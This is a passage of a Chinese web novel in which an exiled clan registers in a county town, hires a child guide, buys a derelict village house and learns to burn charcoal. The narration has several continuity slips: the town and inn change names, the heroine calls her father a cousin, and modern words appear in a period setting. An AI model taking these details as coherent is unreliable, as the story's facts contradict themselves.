“娘,我饿。”一个小女孩扯着母亲的衣角,声音细若蚊蝇。 “再坚持一下。”母亲轻声哄着,从怀里掏出一块干粮,“小声点,乖。” 沈长菱别过脸去,喉头发紧。这一路走来,死去了多少人?又有多少人被迫分散?她不敢细想。 太阳西斜时分,宁县城门终于出现在眼前。高大的城墙如同一道天堑,守卫们警惕的目光扫过来,让人不寒而栗。 “等等!”沈丰年突然喊住了大家,声音里带着少有的凝重。 族长皱眉回头:“怎么了?” “我们这样蒙着面过去,守卫肯定会起疑心。”沈丰年指了指前方,“不如先派人去打探打探。” 沈长菱暗暗点头。这个平日里嬉皮笑脸的父亲,关键时刻倒是头脑清醒。 族长思索片刻,目光在人群中逡巡:“丰德、丰年,你们两个去问问情况。” 沈丰年立刻跳下骡车,整了整衣襟。阳光下,他的背影显得格外挺拔。沈长菱看着他的背影,不禁莞尔。这个表弟,倒是越发可靠了。 城门口分了两队人马,场面混乱而秩序井然。一边是普通百姓,衣着整洁,神色从容;另一边排着长队的都是逃难来的,衣衫褴褛,面带菜色。 沈丰年眼珠一转,摘下口罩就往逃难队伍里钻。他的动作自然,仿佛本就属于这支队伍。 “哎,大兄弟。”他拍了拍前面那人的肩膀,语气熟稔,“这是在排什么队啊?” 那人转过头,目光警惕地在沈丰年身上打量:“你是从哪来的?” “寒陵来的。”沈丰年装出一副憨厚模样,眼神躲闪,“一路逃难,好不容易到这。” “也是逃难的?”那人有些诧异地看着沈丰年还算体面的衣着,语气狐疑。 沈丰年立马换上一副可怜相,声音哽咽:“可不是嘛,家乡实在待不下去了。带着老小一路逃命,能活着到这儿就是菩萨保佑。” 前面那人神色缓和了些,叹了口气:“能活着到这儿就不错了。这里在办理落户,你带户籍证明了吗?” 沈丰年眼睛一亮:“原来如此!我这就去叫人!”说完,转身就跑,那急切的模样惹得周围人频频侧目。 等沈丰年回来传话,族长立即带着大家过来排队。人群熙熙攘攘,空气中弥漫着汗臭和焦虑。 突然,一个衙役注意到了他们这支人数众多的队伍。他皱着眉头走过来,手中的水火棍敲打着地面。 “你们是做什么的?”衙役的声音不大,却带着不容置疑的威严。 族长赶紧上前解释:“大人,我们是来此落户的。这是户籍证明。” 衙役接过户籍证明,目光在上面扫过,脸色顿时变了。他转身快步离去,留下一群人面面相觑。 不一会儿,一队人马簇拥着一位官员走了过来。那官员身着青衫,面容清瘦,手中拿着他们的户籍文书。 “京中沈氏一族?”官员的目光在众人身上扫过,语气里带着几分探究。 沈长菱心里一紧。这称呼可不太准确,他们虽是沈氏一族,但不是都中人士。 沈明远站了出来,躬身行礼:“沈氏一族在此,不知大人有何吩咐?” “你们族中读书人有多少?考取功名的又有几个?”官员开门见山地问道。 沈长菱看着族人们忙着计数,心里暗暗着急。这一路逃难来的,大家都疲惫不堪,可千万别在这里出什么岔子。 官员又接着道:“你们可不是寻常的难民,我得和上级好好沟通,看看该怎么安排你们。”他的目光在沈氏众人身上逡巡,“天色已晚,你们先进城找个落脚的地方。” 这话一出,沈氏众人面面相觑。马车内的空气仿佛凝固了一般,只听得见马匹不安地刨着蹄子。 沈长菱抿了抿唇,眉头微蹙。这是什么意思?难道我们还不如难民好安置?她下意识攥紧了衣角。 不等他们多想,户曹大人已经转身离去,衙役们整齐划一地跟上。 沈丰年掀开车帘,目光扫过车厢内神色各异的众人。夜风吹进来,带着几分凉意。“今晚住客栈?” “好啊好啊!”沈长菱眼睛一亮,方才的阴霾一扫而空,“正好尝尝这里的特色菜,反正以后我们就要在这里生活了。”她说这话时眼中闪烁着期待的光芒,仿佛已经看到了一桌美味佳肴。 孟氏嗔怪地看了她一眼,语气中却带着宠溺:“就知道吃!” “伯母,这叫及时行乐。”沈长河摇头晃脑地插嘴,一副老气横秋的模样。 沈明文抬手就给了他一记爆栗:“少在这装模作样。” “哎呦!”沈长河捂着头,委屈巴巴地看向孟氏,“伯母,你看二哥又欺负我!” 孟氏无奈地摇摇头,转头看向丈夫:“当家的,你说呢?” 第八十章 虎子 沈丰德沉吟片刻:“也好,先找个地方安顿下来。这一路上颠簸,大家都累了。再来壶好酒。” 沈丰年一拍车门,笑道:“就这么定了!” 虽然不知那位大人为何要问读书人数,但沈长菱总觉得这是个好兆头。她抿嘴一笑,心想着或许这就是他们的机会。马车缓缓驶入城门,两旁的店铺已经开始点起灯笼,暖黄的光晕在暮色中格外温馨。 刚进城,一群掮客就蜂拥而上,围着马车转圈。 “客官,要住店吗?” “跟我走准保准没错!” “保证价格公道!” 七嘴八舌的吆喝声此起彼伏,让人应接不暇。 沈长菱正要开口,突然注意到人群边缘站着一个小男孩。他怀里抱着块麻布,正眼巴巴地望着这边,眼神中带着几分怯生生的期待。她朝他勾了勾手指。 小男孩眼睛一亮,立刻挤开人群跑了过来:“姐姐要买吗?”他的脸上还带着些许婴儿肥,说话时露出一颗小虎牙。 “你这里所有好吃好玩的东西吗?”沈长菱指着他怀中的麻布,语气温和。 “对啊!”小男孩挺起胸脯,一副自豪的模样,“整个寒陵城就我有!” “能让我看看吗?” “不行!”小男孩警惕地后退半步,抱紧了怀中的麻布,“看了不买我不就亏了?” 沈长菱被他机灵的样子逗笑了:“不看怎么知道要不要买呢?” 小男孩犹豫了一下,飞快地展开又合上麻布,动作快得像只受惊的兔子。 沈长菱眼疾手快地瞥见了上面歪歪扭扭的线条,顿时失去了兴趣:“算了。” “别啊!”小男孩急了,眼圈一下子就红了,“我再给你看一次!这次看清楚!” 这一次,连沈长河几个都凑了过来。小男孩紧张地咽了咽口水,小心翼翼地展开麻布。 “这是我邻居大哥画的地图!”小男孩指着那些歪歪扭扭的线条滔滔不绝,“从这里往东走就是最有名的羊肉包子,再往前是卖糖葫芦的,转过这个弯有家面馆,他家的牛肉面可香了...” 沈长河忍不住道:“你都说完了,还买什么?” “呜呜呜...”小男孩突然嚎啕大哭,眼泪像断了线的珠子往下掉,“我又搞砸了!大哥说了要先收钱的!” 沈长菱看着他泪眼汪汪的样子,忍俊不禁:“不要你的地图,但可以请你带路,如何?” 小男孩立刻破涕为笑,抹了把眼泪:“真的吗?” 沈长菱给了他十文钱定金,又承诺到地方再给二十文。小男孩欢天喜地地在前面带路,一边走一边介绍着寒陵城的风土人情。 “冬天可冷了,得提前准备粮食,还有柴火。”他认真地说道,“我娘说今年可能会下大雪,得多准备些。” 他说的每一句都是实情,沈长菱听得认真。这个冬天,她得让全家都暖暖和和的。虽然不知道未来会如何,但至少要先安顿好眼前的生活。 夜色渐深,街上的行人逐渐稀少。小男孩带着他们来到一家规模不小的客栈,门前挂着两盏大红灯笼,“瑞来轩”三个字在灯光下格外醒目。 “这家客栈干净,价钱也公道。”小男孩介绍道,“掌柜的人很好,不会欺负外地人。” 安顿好骡马,小男孩又领他们去了家特色酒楼。推开门,浓郁的香气扑面而来,让人食指大动。 沈长菱给了他剩下的钱:“做得不错,下次还找你。” 小男孩把钱小心翼翼地揣进怀里,笑得见牙不见眼:“姐姐放心,我天天都在城门口!姐姐,我叫虎子,就住在城门口两条街外的柳巷。整个县城就没有我不知道的地方!” 沈长菱看着这个机灵的小家伙,心里不由得一暖。街边的阳光透过树叶的缝隙洒在虎子身上,在他身上镀上了一层金边。她能从这个孩子身上看到生活的艰辛,却也看到了坚韧与希望。 “你今年几岁了?”她轻声问道,声音里带着几分温柔。 “八岁了!”虎子挺起小胸脯,一脸骄傲,眼睛里闪烁着光芒,“我可以带路,带姐姐去任何地方!” 沈长菱看着眼前这个早熟的孩子,心中不免有些怜惜。在这个年纪,他本该无忧无虑地玩耍,而不是在街头当个小向导。她伸手轻轻抚摸着虎子的脑袋,柔声说道:“好,以后有需要都找你。” 得到承诺的虎子欢天喜地地跑开了,手里紧紧攥着今天赚到的三十文钱。他的背影渐渐消失在熙熙攘攘的街道尽头,留下一串清脆的笑声在空气中回荡。 “姐姐...姐姐...姐姐...”沈长河在一旁拖长了声音喊着,语气里带着明显的不满。 沈长菱被他这阴魂不散的声音弄得太阳穴突突直跳:“别喊了,耳朵都要起茧子了。”她揉了揉发胀的额角,无奈地看着自己这个粘人的弟弟。 “刚才对着那小子笑得那么开心,怎么对我就不行?”沈长河酸溜溜地说,脸上写满了委屈。他踢着脚下的小石子,目光故意避开姐姐的视线。 沈长菱忍俊不禁,这个傻弟弟居然吃醋了。她双手捧住沈长河的脸,看着他因为害羞而微微发红的耳尖:“傻瓜,你可是我亲弟弟,谁能跟你比?” 沈长河的脸瞬间涨得通红,像是熟透的柿子,慌忙挣脱开来:“别、别这样...”他结结巴巴地说着,手足无措的样子逗得沈长菱笑出了声。 “快去洗澡吧,小猪!”沈长菱笑着在他脸上捏了一把。沈长河落荒而逃,一溜烟跑回了自己房间,留下一串凌乱的脚步声。 聚福客栈的条件确实不错,走廊上铺着厚实的地毯,墙上挂着几幅山水画,虽然不是什么名家之作,但也颇有意境。一间上房才五百文,还能用炭火取暖,这在当地已经算是相当不错的待遇了。 孟氏对这里的服务尤其满意,热水随要随送,完全不用额外付钱。她坐在房间的软榻上,看着窗外的景色,心里暗自盘算着以后的生活。 入夜时分,一家人洗漱完毕,饭菜也送了上来。当看到那些菜的份量时,所有人都愣住了。五个菜,每一盘都大如脸盆,整张桌子都被占满了。香气四溢,让人食指大动。 林月却是两眼放光:“太好了,这么多菜!”她搓着手,迫不及待地想要开动。 “开吃吧。”沈丰德一声令下,声音里带着几分欣慰。虽然是流放之身,但至少一家人还能团聚在一起。 众人纷纷动筷,虽然卖相普通,但味道却出奇的好。羊肉鲜美无膻,切得薄如纸片,入口即化;猪肉软烂入味,带着浓郁的香料气息;就连素菜也做得恰到好处,清爽可口。 一时间,屋里只剩下了吃饭的声音和赞叹声。就连一向注重礼仪的沈丰德也忍不住吃得打起了饱嗝,惹得一旁的孟氏直摇头。 第八十一章 办理户籍 与此同时,长史钱福旺正在府衙与县令李德含商议沈氏一家的安置问题。灯火通明的府衙内,两人的身影投射在墙上,随着烛光摇曳。 “大人,不如让他们去县学教书如何?”长史钱福旺满脸兴奋,手舞足蹈地说道,“若是能教出几个有出息的学子,这可是大功一件啊!” 李德含却显得谨慎许多,他捋着胡须,眉头微皱:“此事不可急,他们毕竟是戴罪之身,若是惹来非议,你我都担待不起。”说着,他站起身来,在房间里来回踱步。 “大人,您想想,若是能提高我们寒陵的文风,这可是大好事啊!”长史钱福旺不死心,继续劝说道。 李德含沉吟片刻,最终还是摇了摇头:“先安置下来观察一段时间,若无问题再做打算。”他的语气坚定,不容反驳。 很快,衙役带着命令来到聚福客栈,要求沈氏一家去府衙办理户籍,每户需缴纳十两银子。消息一出,沈氏众人顿时炸开了锅。 “怎么就我们要交钱?”有人不满地嘟囔着。 “这也太贵了吧!”另一个声音响起。 族长一声喝止了众人的抱怨:“别嚷嚷了!咱们是流放,又不是难民,赶紧准备钱去上户吧!”他的声音里带着不容置疑的威严。 孟氏痛快地掏出二十两银子,给两家办理了户籍。她的动作干脆利落,仿佛这点银子对她来说不值一提。 沈丰年拿着新到手的户籍文书,眼眶有些发热。这一纸文书,承载着他们在这片陌生土地上的新身份,新希望。 “青山村...”沈长河好奇地看着文书上的地址,声音里带着几分疑惑。 沈丰年这才意识到一个问题:这青山村到底在哪?他环顾四周,最后目光落在一个正在打扫的衙役身上。 “这位大哥,”他连忙拦住那个衙役,“能告诉我青山村怎么走吗?” 衙役露出诧异的神色:“你们被分到青山村了?”他的语气里带着几分难以置信,让沈丰年心里突然涌上不安。 沈丰年手里捏着一角银子,眼神紧紧盯着面前的衙役。“大哥,我们是外乡人,想打听点事。”他压低声音,目光谨慎地打量四周。衙役眯起眼睛,不着痕迹地瞥了眼四周,粗糙的手指悄然将那银子收入袖中。他抿了抿干裂的嘴唇,声音压得极低:“青山村那地方,可不太平。” “怎么说?”沈丰年心头一紧,下意识攥紧了衣袖。 衙役往门框上靠了靠,佝偻着身子,仿佛在躲避什么:“去年有个外乡人去借东西,莫名其妙惹上了村民们的不快,第二天就被打死了。尸首倒在村口的水沟里,浑身青紫,像是被人活活打死的。” 沈丰年倒吸一口凉气,脊背发凉:“那县太爷不管?” “管?”衙役冷笑一声,“抓了全村人审问,可那帮刁民一个个嘴严得很,愣是找不出证据。大前年更邪乎,一户人家去退亲,结果全家都没了。七口人啊,一夜之间全没了。” 衙役说着,不自觉地打了个寒颤:“你说邪门不邪门?那家人刚到村里没几天,就说要退亲。第二天一早,邻居发现他们家烟囱没冒烟,进去一看,全家都死了,像是中毒。可验尸的时候,又查不出是什么毒。” 沈丰年脸色发白,僵硬地转身往回走。寒风呼啸,吹得他踉跄了一下。林月和沈长菱见他神色不对,连忙迎上来。 “爹,怎么了?”沈长菱蹙眉,伸手扶住父亲的胳膊。她今年刚满十六,眉眼间透着几分稚气,却已经有了大家闺秀的端庄。 看着女儿关切的眼神,沈丰年心中一暖。有妻女在侧,还怕什么?他深吸一口气,勉强挤出笑容:“没事,就是有点累。” 回到暂住的客栈,他将打听到的消息告诉了大哥沈丰德一家。屋内一时陷入沉默,连呼吸声都显得格外清晰。 “不过是些传言罢了,咱们这一路什么没见过。”沈丰德放下手中的茶碗,故作轻松地说道。可那紧握茶碗的手指,却暴露了他内心的不安。 沈明文缩了缩脖子,声音发颤:“可是婶子和阿菱......” “怕什么!”沈明昊瞪了他一眼,“爹娘在呢,有什么好怕的!” 第二天一早,一行人继续赶路。阳光暖洋洋地洒在身上,却驱散不了心头的阴霾。半路上,他们遇到几辆拉客的牛车。 “等等!”身后突然传来一个尖利的女声,“你个杀千刀的,敢跑!” 众人回头望去,只见一个圆滚滚的大娘追着前面的牛车,气喘吁吁地喊:“你敢跑!信不信我让人砸了你家!” 牛车主人吓得赶紧停下,脸色发白:“大娘,实在没位置了......” “放屁!明明说好留位置的!”大娘叉着腰,声音尖锐得像是能刺破天空。 她转头看见沈丰年的骡车,眼睛一亮,二话不说爬了上去:“小伙子,载我一程。” 沈丰年还没反应过来,大娘已经在车辕上坐定了。她穿着一身灰蓝色的粗布衣裳,脸上的褶子里堆满了泥土,一看就是个农村妇人。 “大娘去哪?”沈丰年试探着问道。 “青山村!”大娘眯着眼打量他们,“你们是外地来的?” 沈丰年心里一沉。这大娘一看就不好惹,偏偏还是青山村的。他强压下心中的不安,点点头:“是啊,去投亲。” 一路上,大娘不停地打量着他们的行李。沈长菱坐在车厢里,默默观察着这个彪悍的村妇。她注意到,大娘的目光总是有意无意扫过他们的包袱。 进了村,路人纷纷打量他们。村子里的房屋低矮破旧,墙壁上爬满了青苔,空气中弥漫着一股霉味。 “卫大娘,这些是谁啊?”路边一个老妇人探出头来问道。 “条件不错,有车有马的。”另一个男人意味深长地说。 卫大娘扬着下巴,一脸得意:“这是找我家当家的有事。” 沈丰年这才知道,竟然是村长家的。 卫大娘的猜测果然没错,沈丰年一听说她是村长家的,整个人都跟打了鸡血似的,赶着骡子恨不得飞起来。 很快,一行人来到了那棵歪脖子树下。树干扭曲如蛇,枝叶却繁茂依旧,在秋风中沙沙作响。 一群闲着没事的村民也跟着沈氏的队伍,浩浩荡荡来到了村长家。有人窃窃私语,有人指指点点,更有人故意提高声音议论着什么。 “当家的!快出来,出大事了!”卫大娘一进院子就扯着嗓子喊,中气十足的声音在院子里回荡。 炕上的村长被这一嗓子吓得差点栽下来,连鞋都来不及穿好就冲出了屋。 沈丰年一行人迅速地说明了来意,村长将他们带到一处破旧的房子前。 第八十二章 买房子 沈长菱站在破旧的院门前,目光所及之处尽是残垣断壁。屋顶上的瓦片七零八落,几间房子的横梁歪斜着,像是随时会坍塌。院墙更是倒了一大片,蜘蛛网在角落里结成了网。 但这一切丝毫没有影响她的好心情。阳光透过残破的屋顶洒进来,在地上留下斑驳的光影。她的目光在院子里转了一圈,脑海中已经勾勒出了改造后的模样。这里可以搭个棚子种菜,那边靠墙的地方适合种药材,前院空地大,还能养些鸡鸭。 “这房子......”沈丰年皱着眉头,目光在倾斜的墙壁上扫过,“修缮起来怕是要不少银子。” 村长连忙搓着手走上前,“沈老弟,这可是难得的好房子啊!你看这格局,前后院子都宽敞,采光也好。五十两银子,已经很便宜了。” “五十两?”沈丰年倒吸一口凉气,一把拉住沈丰德的胳膊,“村长,这也太贵了,咱们换个地方看看。” “别急着走啊!”村长一个箭步拦在他们面前,脸上堆满笑容,“价钱好商量,你们说个数。” 沈丰年叹了口气,脸上浮现出几分无奈:“实不相瞒,我们一家也是被迫搬来投奔亲戚的。虽说有祖传手艺,但现在确实拿不出这么多银子。” “祖传手艺?”村长眼睛一亮,“什么手艺?” “木匠活。”沈丰年拍着胸脯说,“我家祖上就是做这个的,手艺活不差。” 一旁的卫云昂听得目瞪口呆。他可是清楚沈家的底细,哪来的什么木匠手艺?正要开口,却看到沈长菱朝他使了个眼色。卫云昂愣了一下,随即会意地闭上了嘴,装作若无其事的样子打量着院子。 “木匠?”村长眼睛更亮了,“那敢情好啊!我们村正缺个手艺人。这样,房子我给你们便宜些,以后村里有活计,还请您多照应着点。” 经过一番讨价还价,最终以三十两成交,先付十两定金,剩下的分三年付清。 “那咱们现在就去立契约吧。”沈丰年说着,从怀里掏出早已准备好的银子。 等契约签好,一家人终于有了自己的家。虽然破旧,但总算有了安身之所。沈长菱迫不及待地规划起来,指着院子里的各个角落说:“这边种菜,那边种花,靠墙的地方我还要种些药材......” “我要这间屋子!”沈长河一溜烟跑进最大的房间,兴奋地喊道。 其他几个哥哥也纷纷挑选自己喜欢的屋子。孟氏和林月则在院子里转悠,商量着该如何收拾。 “这院子虽破,但地基是好的。”孟氏说着,用脚踢了踢地面,“就是屋顶得赶紧修,再下雨可就麻烦了。” 林月点点头:“是得抓紧时间。趁着天气还好,得把房子收拾利索了。” 晚上,一家人围坐在简陋的饭桌前,就着几个咸菜,商量着明天的安排。 “我和林月进城买些日用品。”孟氏说,“得置办些锅碗瓢盆,再买些粮食回来。” “我去找人修炕。”沈丰年道,“这天气一天比一天冷,炕得赶紧弄好。” “我带着孩子们修房顶。”沈丰德看了看几个儿子,“人多力量大,争取两天把屋顶修好。” 沈长菱则打算去山上找些木材,准备烧炭过冬。她知道,入冬后柴火最是紧俏,趁着现在多准备些,冬天也能好过些。 第二天一早,沈玉松几兄弟就来帮忙了。虽然沈丰德再三推辞,他们还是坚持要帮忙整理院子。 “都是一家人,别客气。”沈玉松挽起袖子,“我们兄弟几个力气大,正好帮着干些重活。” 院子里很快热闹起来。沈玉松兄弟帮着修房顶,沈长河和几个哥哥在下面递瓦片,沈长菱则带着卫云昂去山上找木材。 “你们家什么时候会木匠活了?”卫云昂一边砍柴,一边忍不住问道。 沈长菱笑了笑:“这不是权宜之计嘛。村里正缺个木匠,咱们投其所好,房子不就便宜了?” “那要是村里真有人找你们干活怎么办?” “到时候再说呗。”沈长菱不以为意,“我爹虽然不会木匠活,但干活麻利。再说了,这村里谁家不会个三脚猫功夫?帮着修修补补还不是小事一桩。” 卫云昂摇摇头,却也不再多说什么。他知道沈长菱向来主意正,说不动她。 太阳渐渐升高,院子里的忙碌声不断。 孟氏和林月从城里回来,带回了不少东西。锅碗瓢盆,米面油盐,还有几床新被褥。虽然都是便宜货,但也总算能用。 “伯母,我帮您收拾。”沈长菱放下木柴,跑过去帮忙。 “你先歇会儿吧,脸都晒红了。”孟氏心疼地说。 沈长菱摇摇头:“不累,我想把厨房收拾出来,晚上好做饭。” 看着忙碌的众人,沈长菱心里暖暖的。虽然房子破旧,但有这么多人帮忙,很快就能建成一个温暖的家。她相信,只要一家人齐心协力,日子一定会越过越好。 沈玉松几兄弟干活的速度很快,一上午的功夫就把沈家院子里的活计都干完了。木柴整齐地码在墙角,院子里的杂草被清理得一干二净,就连那口老井都被他们擦洗得锃亮。 “这活干得真利索。”沈长菱站在厨房门口,看着焕然一新的院子,嘴角微微上扬。灶台上的锅里正炖着一锅肉,香气四溢。 到了吃饭的点,几兄弟却连招呼都没打,转身就往外走。他们动作之快,仿佛身后有什么洪水猛兽在追赶。 “叔,等等!”沈明文反应过来追了出去,“吃了饭再走啊!” 可三个人像是没听见似的,脚下步子迈得更大了。转眼间就消失在了巷子口。 沈长菱端着锅铲站在原地,看着几个叔叔仓皇逃窜的背影,不由得摇头叹气。她转身看向灶台上冒着热气的大锅,浓郁的香味在院子里飘荡。 “先吃饭吧。”沈长菱把热气腾腾的菜盛进大盆里,转头对着沈丰德说道,“我待会给他们送去。” 沈明文擦了擦额头的汗,急忙说道:“我去送吧,你一个人拿着太重了。” “不用,我自己去就行。”沈长菱摆摆手,端起盆子就往外走。 经过左右邻居家附近,她放慢脚步,好奇地打量着那半掩着的房门。搬来一天了,居然静得出奇,连个人影都没见着。院子里空荡荡的,角落里零散地堆放着几根半截的柴木,看起来颇为凄凉。 找到沈玉松家时,一家人正蹲在院子里啃窝窝头。这院子比他们家小了一半不止,几间破旧的房子挤在一起,墙皮剥落,门窗歪斜,显得格外拥挤。 第八十三章 烧制木炭【一】 “哎呀,快进来!”赵大娘眼尖,一眼就看到了站在门口的沈长菱,笑眯眯地招呼道,“吃了没?” 沈长菱看着沈玉松笑道:“我叔跑得太快,追都追不上,只好把菜送来了。” 沈玉松不好意思地挠头,脸上露出几分窘迫:“我娘说过不能拿你们的东西。” “胡说什么!”赵大娘瞪了儿子一眼,声音提高了几分,“人家救了我的命,让你们帮忙是应该的!这几个傻小子就是力气多,有事尽管使唤!” 沈长菱看了看已经有些发酸的手臂:“大娘,我端累了,让叔他们先接过去吧。” 赵大娘这才反应过来,连忙催促道:“还愣着干什么,赶紧接过去!” 沈玉岭连忙上前接过盆子,小心翼翼地放在了桌上。 “等到下午,我打算找几个叔叔帮我干活。”沈长菱说道,目光在几兄弟身上扫过。 “有什么事尽管说,这几个闲人时间多得是!”赵大娘爽快地答应下来,又瞪了儿子们一眼,“整天在家闲着也是闲着。” 回到家后,沈长菱把想烧炭的事告诉了沈丰德。 “烧炭?”沈明昊惊讶地看着妹妹,眼睛瞪得老大,“你会烧炭?” “之前听人说过,想试试。”沈长菱说道。虽然从未亲手做过,但她对烧炭的步骤很熟悉。灾变世界里,这可是一项重要的生存技能。 沈丰德沉思片刻,点点头:“那就试试看。” 下午,沈玉松几兄弟准时来了。沈长菱带着他们来到山头,仔细观察地形后,选定了一处合适的地方。 “就在这里挖窑。”她开始详细说明要如何挖掘木炭窑,“要挖成圆锥形,底部要平整,四周要光滑,这样才能保证炭窑的密封性。” 几兄弟听完就开始干活,铁锹挥舞得虎虎生风。沈长菱则在附近捡些大小相近的木材,时不时回来查看进度。 等窑挖好后,按照她的要求抹上草拌泥,出口处用瓦片加高,地面又被铺上一层薄薄的泥土。整个过程她都亲自指导,生怕出现任何差错。 “这样就差不多了。”沈长菱仔细检查着每个细节,“现在开始装木材。” 木材要竖着摆放,中间要留出通风的空隙。装好后,用泥土封住窑口,只留下几个小孔用来控制通风。 点火后的第一天,沈长菱寸步不离地守在炭窑旁,时刻观察着烟气的颜色和气味。几兄弟轮流值守,保证火势不会熄灭。 第三天,沈长菱判断木材已经完全炭化,开始封堵所有通风孔,让炭窑自然冷却。 又过了两天,他们小心翼翼地打开炭窑。第一次开炉取出的炭品相很差,有的烧得过度,有的又不够彻底。 沈长菱皱着眉头说道:“成炭率太低,再来!” 沈玉松几兄弟面面相觑,他们是不是该躲远点?这丫头折腾起来,谁知道会搞出什么名堂来。 “第二次一定要注意控制火候。”沈长菱认真地分析着失败的原因,“通风孔的位置也要调整,火势要均匀。” 就这样,一连试了好几次,每次都在改进工艺。沈长菱的执着让几个叔叔都有些佩服,这丫头看着柔柔弱弱的,干起事来却比男人还要坚韧。 终于,在第五次尝试时,取出的木炭品相明显改善。黑亮的炭块发出清脆的响声,折断时能看到银白色的断面。 “这次成了!”沈长菱脸上露出欣喜的笑容,“以后就按这个方法来。” 沈玉松摸着下巴,若有所思:“这炭确实比集市上卖的好多了。” 沈长菱有些诧异:“集市上的木炭烟很大吗?” “可不是嘛,”沈玉松不好意思地挠头,脸上沾着些许灰尘,“听说有钱人家用的银丝炭烟小,不过我没见过。” 沈长菱若有所思地点点头,没有多说。看到效果这么好,几兄弟干劲更足,又麻利地去找木材准备下一炉。 阳光暖洋洋地洒在身上,沈长菱坐在一块大石头上,看着几兄弟忙碌的身影。他们虽然笨拙,但很用心,每一根木材都仔细挑选,生怕出了差错。 刚把木材放进窑里,远处传来脚步声。沈丰年提着篮子,笑呵呵地走了过来。 “我远远看见烟,就猜到你们在这。”他招呼几兄弟坐下,“来来来,歇会儿,吃点东西。” 篮子里飘出诱人的香气,沈丰年掏出几个烧饼:“听说你们一大早就来帮忙,真是辛苦了。我刚从城里回来,特意给你们买了些吃的。” 沈玉松下意识把沾满灰的手藏在身后,脸上露出为难的神色:“不用不用......” “这是啥话,”沈丰年硬是把烧饼塞进他手里,“都是自家兄弟,还客气啥。这可羊肠子馅的,趁热吃。” 几兄弟手足无措地捧着烧饼,眼圈有些发红:“我娘不让我们吃......” “有我给你们撑腰,大娘那边我去说。”沈丰年笑着鼓励道。 沈玉田忍不住咬了一口,顿时眼睛亮了:“好吃!太好吃了!”他狼吞虎咽地吃着,生怕下一秒烧饼就会消失似的。 看着老实巴交的几兄弟的模样,沈长菱心里一暖。这就是她的族人,朴实、善良,虽然有时傻乎乎的,却让人感到温暖。 “给!”沈丰年也给女儿递了个烧饼,眼角的皱纹都笑出了花,“还是亲爹疼闺女。” 沈长菱也不嫌手上脏,接过来就啃:“行啊,这次表现不错。” “咋样?”沈丰年东张西望,看到地上的木炭眼睛一亮,“真让你给整出来了?” “那是!”沈长菱得意地扬起下巴,嘴角还沾着些许面包屑,“你闺女想做的事,就没有做不成的。” “那是那是,”沈丰年笑得见牙不见眼,“这说明你爹基因好使!” 沈长菱翻了个白眼,懒得跟这个中二的老爹计较。她站起身,拍了拍衣服上的灰尘:“走吧,天色不早了。” 夜幕降临时,沈丰年执意要请几兄弟去家里吃饭。沈玉松吓得连连摆手,脸色都变了:“不行不行,俺娘知道了要打死俺们的!” 最后只好让沈明昊送了一盆菜和馒头去他们家。几兄弟站在自家门口,迟迟不敢接进来。还是沈明昊先进去解释了一番,他们才战战兢兢地跟着进去。 回家的路上,沈长菱看着天上的星星,心里盘算着明天的计划。木炭的问题解决了,接下来还有更多事情要做。 “阿菱,”沈丰年突然开口,“你...你真的想好了吗?” 沈长菱停下脚步,转身看着父亲。月光下,沈丰年的脸上写满了担忧。她知道父亲在担心什么,但有些路,必须自己走下去。 “爹,你相信我吗?”她轻声问道。 沈丰年叹了口气,伸手摸了摸女儿的头:“傻丫头,爹当然相信你。只是...只是这条路不好走啊。” 第八十四章 烧制木炭【二】 “我知道,”沈长菱笑了笑,“但总要试试看。” 夜风轻轻吹过,带来远处的虫鸣。父女俩并肩走在回家的路上,影子在月光下拉得很长。 第二天一早,沈长菱就带着几兄弟继续制炭。有了昨天的经验,效率提高了不少。到了中午,已经积攒了不少成品。 “姑娘,”沈玉松擦了擦汗,“这些木炭...都是要卖的吗?” 沈长菱点点头:“嗯,不过不是现在。等攒够了一定数量,我们再找个好买家。” “那得攒多少啊?”沈玉田好奇地问。 “至少要够一个商队的量。”沈长菱解释道,“小打小闹赚不了多少钱,要做就做大的。” 几兄弟似懂非懂地点点头,继续埋头干活。沈长菱看着堆积如山的木材,嘴角勾起一抹笑意。 就在沈长菱忙着烧制木炭时,沈丰年他们也请了师傅给家里的房子院子进行修葺整改。之前沈家几兄弟来简单修葺了,但如果长久住,还是需要请专门师傅来好好看看。 “师傅,这墙真的不用重新砌吗?”沈丰年的声音里带着几分担忧,他伸手轻轻敲了敲墙面,发出沉闷的响声。 王师傅蹲下身子,仔细检查着墙基,布满老茧的手掌在粗糙的墙面上来回摩挲。“东家放心,这墙基础还算结实,虽然表面看着不太好,但根基扎实。加固一下就成。”他站起身,抬头看向屋顶,“倒是屋顶需要大修,瓦片得多备些。” “那得要多少片?”沈丰年皱着眉头问道。 王师傅眯起眼睛,目光在屋顶上来回扫视,“至少一千片打底。”他一边说着,一边从怀里掏出一块磨得发亮的木牌,上面画着歪歪扭扭的符号,“我算过了,光现在这些可不够用。” 沈长菱不由自主地走近几步,好奇地打量着那些神秘莫测的符号。阳光透过树叶的缝隙,在木牌上投下斑驳的光影。“师傅,这些都是什么意思?” “这是我们师徒间的行话,”王师傅笑着摸了摸木牌,眼角的皱纹舒展开来,“一撇一捺都有讲究。这一横是梁,这一竖是柱,圈圈点点都是有说法的。” “这怕不是什么天书符咒。”沈明文站在一旁,小声嘀咕着,脸上带着几分不以为然。 沈明昊立刻给了他一个警告的眼神,弟弟这才讪讪地闭上嘴。 “对了师傅,”沈长菱突然想起一事,指着屋子的窗户说道,“能不能把窗户改大些?现在屋里太暗了,冬天晒不到太阳,夏天又闷得慌。” 王师傅点点头,目光在墙面上来回打量,“没问题,不过得多费些工料。要开多大?” “就比现在大一倍吧。”沈长菱比划着,“这样光线好,住着也舒服些。” “那院子里能不能用石头分几块地?”她又指着院子空旷的地方说道,“我想种些菜,自己种的新鲜。” 王师傅笑着应下,又在木牌上添了几笔。阳光下,他的动作稳健而熟练,仿佛每一笔都蕴含着多年的经验。 沈丰年看着妹妹忙前忙后的样子,心里一暖。这丫头,总是想得周到,处处为家里着想。 “行了,你们先忙,我带人上山去烧炭。”沈长菱拍了拍衣裳上的灰,转身朝院门走去。 沈玉松几兄弟早就在一旁等着,听到这话立马跟了上来。他们身材魁梧,走起路来虎虎生风,却总是规规矩矩地跟在沈长菱身后三步远的地方。 山路崎岖,布满了凸起的树根和松动的碎石。沈长菱走在前面,一边小心翼翼地避开地上的障碍,一边说着烧炭的要领。 “选树要看年份,太嫩的不中用,得挑那些年头够的。”她指着路边的几棵树说道,“你们看这个,树皮的纹路深,木质就结实......” 话没说完,身后突然传来一阵慌乱的脚步声。回头一看,沈玉松几兄弟捂着耳朵,跑得飞快,像是被什么吓着了似的。 